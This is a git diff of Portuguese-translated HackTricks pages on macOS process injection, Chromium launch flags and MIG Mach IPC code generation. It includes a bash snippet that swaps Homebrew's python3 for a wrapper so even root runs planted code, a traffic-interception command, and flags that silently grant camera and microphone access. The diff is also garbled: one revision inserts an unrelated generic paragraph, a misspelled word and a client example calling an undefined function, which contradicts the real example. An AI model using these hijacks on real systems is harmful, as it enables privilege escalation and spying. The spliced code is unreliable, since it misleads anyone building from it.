Arquivos NIB **definem elementos da interface do usuário (UI)** e suas interações dentro de uma aplicação. No entanto, eles podem **executar comandos arbitrários** e o **Gatekeeper não impede** uma aplicação já executada de ser executada se um **arquivo NIB for modificado**. Portanto, eles podem ser usados para fazer programas arbitrários executarem comandos arbitrários:
|
||||
Arquivos NIB **definem elementos de interface do usuário (UI)** e suas interações dentro de um aplicativo. No entanto, eles podem **executar comandos arbitrários** e o **Gatekeeper não impede** que um aplicativo já executado seja executado se um **arquivo NIB for modificado**. Portanto, eles poderiam ser usados para fazer programas arbitrários executarem comandos arbitrários:
|
||||
|
||||
{% content-ref url="macos-dirty-nib.md" %}
|
||||
[macos-dirty-nib.md](macos-dirty-nib.md)
|
||||
|
@ -60,7 +68,7 @@ Arquivos NIB **definem elementos da interface do usuário (UI)** e suas interaç
|
|||
|
||||
### Injeção em Aplicações Java
|
||||
|
||||
É possível abusar de certas capacidades do java (como a variável de ambiente **`_JAVA_OPTS`**) para fazer uma aplicação java executar **código/comandos arbitrários**.
|
||||
É possível abusar de certas capacidades do Java (como a variável de ambiente **`_JAVA_OPTS`**) para fazer um aplicativo Java executar **código/comandos arbitrários**.
|
||||
|
||||
{% content-ref url="macos-java-apps-injection.md" %}
|
||||
[macos-java-apps-injection.md](macos-java-apps-injection.md)
|
||||
|
@ -68,7 +76,7 @@ Arquivos NIB **definem elementos da interface do usuário (UI)** e suas interaç
|
|||
|
||||
### Injeção em Aplicações .Net
|
||||
|
||||
É possível injetar código em aplicações .Net **abusando da funcionalidade de depuração do .Net** (não protegida pelas proteções do macOS, como o endurecimento em tempo de execução).
|
||||
É possível injetar código em aplicativos .Net **abusando da funcionalidade de depuração do .Net** (não protegida por proteções do macOS, como o fortalecimento em tempo de execução).
|
||||
|
||||
{% content-ref url="macos-.net-applications-injection.md" %}
|
||||
[macos-.net-applications-injection.md](macos-.net-applications-injection.md)
|
||||
|
@ -76,7 +84,7 @@ Arquivos NIB **definem elementos da interface do usuário (UI)** e suas interaç
|
|||
|
||||
### Injeção em Perl
|
||||
|
||||
Confira diferentes opções para fazer um script Perl executar código arbitrário em:
|
||||
Verifique diferentes opções para fazer um script Perl executar código arbitrário em:
|
||||
|
||||
{% content-ref url="macos-perl-applications-injection.md" %}
|
||||
[macos-perl-applications-injection.md](macos-perl-applications-injection.md)
|
||||
|
@ -84,7 +92,7 @@ Confira diferentes opções para fazer um script Perl executar código arbitrár
|
|||
|
||||
### Injeção em Ruby
|
||||
|
||||
Também é possível abusar de variáveis de ambiente ruby para fazer scripts arbitrários executarem código arbitrário:
|
||||
Também é possível abusar das variáveis de ambiente do Ruby para fazer scripts arbitrários executarem código arbitrário:
|
||||
|
||||
{% content-ref url="macos-ruby-applications-injection.md" %}
|
||||
[macos-ruby-applications-injection.md](macos-ruby-applications-injection.md)
|
||||
|
@ -92,16 +100,16 @@ Também é possível abusar de variáveis de ambiente ruby para fazer scripts ar
|
|||
|
||||
### Injeção em Python
|
||||
|
||||
Se a variável de ambiente **`PYTHONINSPECT`** estiver definida, o processo python entrará em um cli python assim que terminar. Também é possível usar **`PYTHONSTARTUP`** para indicar um script python a ser executado no início de uma sessão interativa.\
|
||||
No entanto, observe que o script **`PYTHONSTARTUP`** não será executado quando **`PYTHONINSPECT`** criar a sessão interativa.
|
||||
Se a variável de ambiente **`PYTHONINSPECT`** estiver definida, o processo Python entrará em um cli Python assim que terminar. Também é possível usar **`PYTHONSTARTUP`** para indicar um script Python a ser executado no início de uma sessão interativa.\
|
||||
No entanto, observe que o script **`PYTHONSTARTUP`** não será executado quando o **`PYTHONINSPECT`** cria a sessão interativa.
|
||||
|
||||
Outras variáveis de ambiente como **`PYTHONPATH`** e **`PYTHONHOME`** também podem ser úteis para fazer um comando python executar código arbitrário.
|
||||
Outras variáveis de ambiente, como **`PYTHONPATH`** e **`PYTHONHOME`**, também podem ser úteis para fazer um comando Python executar código arbitrário.
|
||||
|
||||
Note que executáveis compilados com **`pyinstaller`** não usarão essas variáveis ambientais mesmo que estejam rodando usando um python embutido.
|
||||
Observe que executáveis compilados com **`pyinstaller`** não usarão essas variáveis ambientais, mesmo que estejam sendo executados usando um Python incorporado.
|
||||
|
||||
{% hint style="danger" %}
|
||||
No geral, não encontrei uma maneira de fazer o python executar código arbitrário abusando de variáveis de ambiente.\
|
||||
No entanto, a maioria das pessoas instala o python usando o **Homebrew**, que instala o python em um **local gravável** para o usuário admin padrão. Você pode sequestrar isso com algo como:
|
||||
No geral, não consegui encontrar uma maneira de fazer o Python executar código arbitrário abusando de variáveis de ambiente.\
|
||||
No entanto, a maioria das pessoas instala o Python usando o **Hombrew**, que instalará o Python em um **local gravável** para o usuário administrador padrão. Você pode se apropriar disso com algo como:
|
||||
```bash
|
||||
mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
|
||||
cat > /opt/homebrew/bin/python3 <<EOF
|
||||
|
@ -111,26 +119,24 @@ cat > /opt/homebrew/bin/python3 <<EOF
|
|||
EOF
|
||||
chmod +x /opt/homebrew/bin/python3
|
||||
```
|
||||
```markdown
|
||||
Até mesmo o **root** executará este código ao rodar python.
|
||||
{% endhint %}
|
||||
Até mesmo **root** executará este código ao executar python.
|
||||
|
||||
## Detecção
|
||||
|
||||
### Shield
|
||||
|
||||
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) é uma aplicação de código aberto que pode **detectar e bloquear ações de injeção de processos**:
|
||||
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) é um aplicativo de código aberto que pode **detectar e bloquear ações de injeção de processo**:
|
||||
|
||||
* Usando **Variáveis Ambientais**: Ele monitorará a presença de quaisquer das seguintes variáveis ambientais: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** e **`ELECTRON_RUN_AS_NODE`**
|
||||
* Usando chamadas **`task_for_pid`**: Para encontrar quando um processo deseja obter o **porta de tarefa de outro** que permite injetar código no processo.
|
||||
* **Parâmetros de apps Electron**: Alguém pode usar os argumentos de linha de comando **`--inspect`**, **`--inspect-brk`** e **`--remote-debugging-port`** para iniciar um app Electron no modo de depuração e, assim, injetar código nele.
|
||||
* Usando **symlinks** ou **hardlinks**: Tipicamente, o abuso mais comum é **colocar um link com nossos privilégios de usuário** e **apontá-lo para um local de privilégio mais alto**. A detecção é muito simples para ambos, hardlink e symlinks. Se o processo que cria o link tem um **nível de privilégio diferente** do arquivo alvo, criamos um **alerta**. Infelizmente, no caso de symlinks, o bloqueio não é possível, pois não temos informações sobre o destino do link antes da criação. Esta é uma limitação do framework EndpointSecuriy da Apple.
|
||||
* Usando **Variáveis Ambientais**: Ele monitorará a presença de qualquer uma das seguintes variáveis ambientais: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** e **`ELECTRON_RUN_AS_NODE`**
|
||||
* Usando chamadas de **`task_for_pid`**: Para encontrar quando um processo deseja obter a **porta de tarefa de outro**, o que permite injetar código no processo.
|
||||
* Parâmetros de aplicativos **Electron**: Alguém pode usar os argumentos de linha de comando **`--inspect`**, **`--inspect-brk`** e **`--remote-debugging-port`** para iniciar um aplicativo Electron no modo de depuração e, assim, injetar código nele.
|
||||
* Usando **links simbólicos** ou **hardlinks**: Tipicamente, o abuso mais comum é **colocar um link com nossos privilégios de usuário** e **apontá-lo para uma localização de privilégio superior**. A detecção é muito simples para ambos, hardlinks e links simbólicos. Se o processo que cria o link tiver um **nível de privilégio diferente** do arquivo de destino, criamos um **alerta**. Infelizmente, no caso de links simbólicos, o bloqueio não é possível, pois não temos informações sobre o destino do link antes da criação. Esta é uma limitação do framework EndpointSecuriy da Apple.
|
||||
|
||||
### Chamadas feitas por outros processos
|
||||
|
||||
Neste [**post do blog**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html), você pode encontrar como é possível usar a função **`task_name_for_pid`** para obter informações sobre outros **processos injetando código em um processo** e depois obter informações sobre esse outro processo.
|
||||
Neste [**post do blog**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html), você pode encontrar como é possível usar a função **`task_name_for_pid`** para obter informações sobre outros **processos injetando código em um processo** e, em seguida, obter informações sobre esse outro processo.
|
||||
|
||||
Note que para chamar essa função você precisa ser **o mesmo uid** que o do processo em execução ou **root** (e ela retorna informações sobre o processo, não uma maneira de injetar código).
|
||||
Observe que para chamar essa função, você precisa ter **o mesmo uid** que o processo em execução ou ser **root** (e ela retorna informações sobre o processo, não uma maneira de injetar código).
|
||||
|
||||
## Referências
|
||||
|
||||
|
@ -139,15 +145,14 @@ Note que para chamar essa função você precisa ser **o mesmo uid** que o do pr
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -0,0 +1,57 @@
|
|||
# Injeção de Chromium no macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
Navegadores baseados em Chromium como Google Chrome, Microsoft Edge, Brave e outros. Esses navegadores são construídos no projeto de código aberto Chromium, o que significa que eles compartilham uma base comum e, portanto, têm funcionalidades e opções de desenvolvedor semelhantes.
|
||||
|
||||
#### Sinalizador `--load-extension`
|
||||
|
||||
O sinalizador `--load-extension` é usado ao iniciar um navegador baseado em Chromium a partir da linha de comando ou de um script. Esse sinalizador permite **carregar automaticamente uma ou mais extensões** no navegador ao iniciar.
|
||||
|
||||
#### Sinalizador `--use-fake-ui-for-media-stream`
|
||||
|
||||
O sinalizador `--use-fake-ui-for-media-stream` é outra opção de linha de comando que pode ser usada para iniciar navegadores baseados em Chromium. Esse sinalizador é projetado para **burlar as solicitações normais do usuário que pedem permissão para acessar fluxos de mídia da câmera e do microfone**. Quando esse sinalizador é usado, o navegador concede automaticamente permissão a qualquer site ou aplicativo que solicite acesso à câmera ou ao microfone.
|
||||
|
||||
### Ferramentas
|
||||
|
||||
* [https://github.com/breakpointHQ/snoop](https://github.com/breakpointHQ/snoop)
|
||||
* [https://github.com/breakpointHQ/VOODOO](https://github.com/breakpointHQ/VOODOO)
|
||||
|
||||
### Exemplo
|
||||
```bash
|
||||
# Intercept traffic
|
||||
voodoo intercept -b chrome
|
||||
```
|
||||
Encontre mais exemplos nos links das ferramentas
|
||||
|
||||
## Referências
|
||||
|
||||
* [https://twitter.com/RonMasas/status/1758106347222995007](https://twitter.com/RonMasas/status/1758106347222995007)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
|
@ -1,20 +1,20 @@
|
|||
# macOS MIG - Mach Interface Generator
|
||||
# macOS MIG - Gerador de Interface Mach
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) do github.
|
||||
|
||||
</details>
|
||||
|
||||
O MIG foi criado para **simplificar o processo de criação de código Mach IPC**. Basicamente, **gera o código necessário** para que o servidor e o cliente se comuniquem com uma definição dada. Mesmo que o código gerado seja feio, um desenvolvedor só precisará importá-lo e seu código será muito mais simples do que antes.
|
||||
MIG foi criado para **simplificar o processo de criação de código Mach IPC**. Basicamente, ele **gera o código necessário** para o servidor e o cliente se comunicarem com uma definição fornecida. Mesmo que o código gerado seja feio, um desenvolvedor só precisará importá-lo e seu código será muito mais simples do que antes.
|
||||
|
||||
### Exemplo
|
||||
|
||||
|
@ -35,15 +35,15 @@ server_port : mach_port_t;
|
|||
n1 : uint32_t;
|
||||
n2 : uint32_t);
|
||||
```
|
||||
```markdown
|
||||
Agora use mig para gerar o código do servidor e do cliente que poderá se comunicar entre si para chamar a função Subtract:
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Agora use o mig para gerar o código do servidor e do cliente que serão capazes de se comunicar entre si para chamar a função Subtract:
|
||||
```bash
|
||||
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
||||
```
|
||||
Vários arquivos novos serão criados no diretório atual.
|
||||
Vários novos arquivos serão criados no diretório atual.
|
||||
|
||||
Nos arquivos **`myipcServer.c`** e **`myipcServer.h`**, você pode encontrar a declaração e definição da struct **`SERVERPREFmyipc_subsystem`**, que basicamente define a função a ser chamada com base no ID da mensagem recebida (indicamos um número inicial de 500):
|
||||
Nos arquivos **`myipcServer.c`** e **`myipcServer.h`** você pode encontrar a declaração e definição da struct **`SERVERPREFmyipc_subsystem`**, que basicamente define a função a ser chamada com base no ID da mensagem recebida (indicamos um número inicial de 500):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipcServer.c" %}
|
||||
|
@ -77,10 +77,7 @@ struct routine_descriptor /* Array of routine descriptors */
|
|||
routine[1];
|
||||
} SERVERPREFmyipc_subsystem;
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Com base na struct anterior, a função **`myipc_server_routine`** irá obter o **ID da mensagem** e retornar a função apropriada a ser chamada:
|
||||
Com base na estrutura anterior, a função **`myipc_server_routine`** receberá o **ID da mensagem** e retornará a função apropriada a ser chamada:
|
||||
```c
|
||||
mig_external mig_routine_t myipc_server_routine
|
||||
(mach_msg_header_t *InHeadP)
|
||||
|
@ -95,18 +92,19 @@ return 0;
|
|||
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
||||
}
|
||||
```
|
||||
Neste exemplo, definimos apenas 1 função nas definições, mas se tivéssemos definido mais funções, elas estariam dentro do array de **`SERVERPREFmyipc_subsystem`** e a primeira teria sido atribuída ao ID **500**, a segunda ao ID **501**...
|
||||
Neste exemplo, apenas definimos 1 função nas definições, mas se tivéssemos definido mais funções, elas estariam dentro do array de **`SERVERPREFmyipc_subsystem`** e a primeira teria sido atribuída ao ID **500**, a segunda ao ID **501**...
|
||||
|
||||
Na verdade, é possível identificar essa relação na struct **`subsystem_to_name_map_myipc`** de **`myipcServer.h`**:
|
||||
Na verdade, é possível identificar essa relação na struct **`subsystem_to_name_map_myipc`** do arquivo **`myipcServer.h`**:
|
||||
```c
|
||||
#ifndef subsystem_to_name_map_myipc
|
||||
#define subsystem_to_name_map_myipc \
|
||||
{ "Subtract", 500 }
|
||||
#endif
|
||||
```
|
||||
Finalmente, outra função importante para fazer o servidor funcionar será **`myipc_server`**, que é a que realmente **chamará a função** relacionada ao id recebido:
|
||||
Finalmente, outra função importante para fazer o servidor funcionar será **`myipc_server`**, que é a que realmente **chama a função** relacionada ao ID recebido:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
||||
```c
|
||||
mig_external boolean_t myipc_server
|
||||
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
||||
{
|
||||
/*
|
||||
|
@ -121,26 +119,26 @@ mig_routine_t routine;
|
|||
|
||||
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
|
||||
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
|
||||
/* Tamanho mínimo: routine() atualizará se for diferente */
|
||||
/* Tamanho mínimo: a rotina() irá atualizá-lo se for diferente */
|
||||
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
|
||||
OutHeadP->msgh_local_port = MACH_PORT_NULL;
|
||||
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
|
||||
OutHeadP->msgh_reserved = 0;
|
||||
|
||||
if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
|
||||
<strong> ((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
|
||||
</strong> ((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
|
||||
if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
|
||||
((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
|
||||
((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
|
||||
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
|
||||
return FALSE;
|
||||
}
|
||||
<strong> (*routine) (InHeadP, OutHeadP);
|
||||
</strong> return TRUE;
|
||||
(*routine) (InHeadP, OutHeadP);
|
||||
return TRUE;
|
||||
}
|
||||
</code></pre>
|
||||
```
|
||||
|
||||
Verifique as linhas anteriormente destacadas acessando a função para chamar pelo ID.
|
||||
Verifique as linhas anteriormente destacadas acessando a função a ser chamada por ID.
|
||||
|
||||
A seguir está o código para criar um **servidor** e **cliente** simples onde o cliente pode chamar as funções Subtract do servidor:
|
||||
A seguir está o código para criar um **servidor** e um **cliente** simples onde o cliente pode chamar as funções Subtrair do servidor:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server.c" %}
|
||||
|
@ -176,7 +174,43 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_client.c" %}
|
||||
{% tab title="myipc_client.c" %}
|
||||
|
||||
### macOS MIG - Mach Interface Generator
|
||||
|
||||
O macOS MIG (Mach Interface Generator) é uma ferramenta usada para gerar código C para comunicação entre processos em sistemas baseados em Mach. Ele é amplamente utilizado para comunicação entre processos em sistemas macOS e iOS.
|
||||
|
||||
O MIG gera funções de chamada de procedimento remoto (RPC) que permitem que um processo chame funções em outro processo. Isso pode ser abusado por um atacante para escalar privilégios ou realizar outras atividades maliciosas.
|
||||
|
||||
Para proteger contra abusos de IPC, é importante restringir as permissões de comunicação entre processos e garantir que apenas processos confjsonáveis tenham acesso aos serviços expostos via MIG. Além disso, é essencial validar todas as entradas e saídas para prevenir possíveis vulnerabilidades de segurança.
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include "myipc.h"
|
||||
|
||||
int main() {
|
||||
mach_port_t server_port;
|
||||
kern_return_t kr;
|
||||
|
||||
kr = bootstrap_look_up(bootstrap_port, "com.example.myipc", &server_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to look up server port\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
myipc_function_1(server_port, 1234);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Neste exemplo, o cliente se conecta a um serviço chamado "com.example.myipc" e chama a função `myipc_function_1` passando o `server_port` e um argumento inteiro.
|
||||
|
||||
Certifique-se de revisar e auditar cuidadosamente o uso do MIG em seus aplicativos para evitar possíveis abusos de IPC.
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
// gcc myipc_client.c myipcUser.c -o myipc_client
|
||||
|
||||
|
@ -201,9 +235,6 @@ printf("Port right name %d\n", port);
|
|||
USERPREFSubtract(port, 40, 2);
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Análise Binária
|
||||
|
||||
Como muitos binários agora usam MIG para expor portas mach, é interessante saber como **identificar que o MIG foi usado** e as **funções que o MIG executa** com cada ID de mensagem.
|
||||
|
@ -212,27 +243,29 @@ Como muitos binários agora usam MIG para expor portas mach, é interessante sab
|
|||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
Foi mencionado anteriormente que a função que cuidará de **chamar a função correta dependendo do ID da mensagem recebida** era `myipc_server`. No entanto, geralmente você não terá os símbolos do binário (nomes de funções), então é interessante **ver como ela se parece decompilada**, pois sempre será muito semelhante (o código desta função é independente das funções expostas):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server decompilado 1" %}
|
||||
{% tab title="myipc_server decompiled 1" %}
|
||||
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
||||
var_10 = arg0;
|
||||
var_18 = arg1;
|
||||
// Instruções iniciais para encontrar os ponteiros de função corretos
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
|
||||
// Instruções iniciais para encontrar os ponteiros de função apropriados
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
|
||||
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
|
||||
*(int32_t *)(var_18 + 0x4) = 0x24;
|
||||
*(int32_t *)(var_18 + 0xc) = 0x0;
|
||||
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
|
||||
*(int32_t *)(var_18 + 0x10) = 0x0;
|
||||
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
||||
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
||||
rax = *(int32_t *)(var_10 + 0x14);
|
||||
// Chamada para sign_extend_64 que pode ajudar a identificar esta função
|
||||
// Isso armazena em rax o ponteiro para a chamada que precisa ser feita
|
||||
// Verifique o uso do endereço 0x100004040 (array de endereços de funções)
|
||||
// 0x1f4 = 500 (o ID inicial)
|
||||
// 0x1f4 = 500 (o ID de início)
|
||||
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
|
||||
</strong> var_20 = rax;
|
||||
// If - else, o if retorna falso, enquanto o else chama a função correta e retorna verdadeiro
|
||||
// Se - senão, o se retorna falso, enquanto o senão chama a função correta e retorna verdadeiro
|
||||
<strong> if (rax == 0x0) {
|
||||
</strong> *(var_18 + 0x18) = **_NDR_record;
|
||||
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
|
||||
|
@ -255,7 +288,7 @@ return rax;
|
|||
</code></pre>
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_server decompilado 2" %}
|
||||
{% tab title="myipc_server decompiled 2" %}
|
||||
Esta é a mesma função decompilada em uma versão gratuita diferente do Hopper:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
||||
|
@ -264,8 +297,8 @@ saved_fp = r29;
|
|||
stack[-8] = r30;
|
||||
var_10 = arg0;
|
||||
var_18 = arg1;
|
||||
// Instruções iniciais para encontrar os ponteiros de função corretos
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
|
||||
// Instruções iniciais para encontrar os ponteiros de função apropriados
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
|
||||
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
|
||||
*(int32_t *)(var_18 + 0x4) = 0x24;
|
||||
*(int32_t *)(var_18 + 0xc) = 0x0;
|
||||
|
@ -274,34 +307,34 @@ var_18 = arg1;
|
|||
r8 = *(int32_t *)(var_10 + 0x14);
|
||||
r8 = r8 - 0x1f4;
|
||||
if (r8 > 0x0) {
|
||||
if (CPU_FLAGS & G) {
|
||||
if (CPU_FLAGS & G) {
|
||||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
if ((r8 & 0x1) == 0x0) {
|
||||
if ((r8 & 0x1) == 0x0) {
|
||||
